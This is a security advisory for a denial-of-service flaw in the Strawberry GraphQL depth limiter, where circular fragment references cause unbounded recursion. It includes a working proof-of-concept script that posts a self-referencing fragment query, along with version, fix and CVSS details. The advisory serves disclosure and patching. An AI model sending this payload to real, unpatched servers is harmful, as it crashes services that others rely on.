Medium

Strawberry GraphQL has a Circular Fragment Reference DOS

  • Disclosed: 04.06.2026
  • Updated: 11.10.2026 14:17

Summary

The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.

Details

The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.

PoC

server code

python
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Enable depth limiting
schema = strawberry.Schema(
    query=Query, 
    extensions=[QueryDepthLimiter(max_depth=10)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

exploit

python
import httpx

# Circular reference: A -> B -> A -> B ...
payload = {
    "query": """
        fragment A on User {
            ...B
        }
        fragment B on User {
            ...A
        }
        query Crash {
            user {
                ...A
            }
        }
    """
}

try:
    response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
    print(response.json())
except Exception as e:
    print(f"Server crashed or timed out: {e}")

Impact

Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) strawberry-graphql >= 0.71.0, < 0.315.7 0.315.7

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness (CWE)
CWE-400, CWE-674
Platform
Python (PyPI)
Package
strawberry-graphql
Disclosed
04.06.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2283 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-qfwv-87qj-98xq - CC BY 4.0

Vulnerability history: strawberry-graphql

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (9) in the archive
Total entries
9
First → latest
09.2024 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 3
  • Medium 3
  • Low 3

Disclosures per year

  1. 2024: 1
  2. 2025: 1
  3. 2026: 7
Severity:
  1. Strawberry GraphQL has a Circular Fragment Reference DOS this entry
    Medium · 5.3 CVE-2026-47706 >= 0.71.0, < 0.315.7 0.315.7

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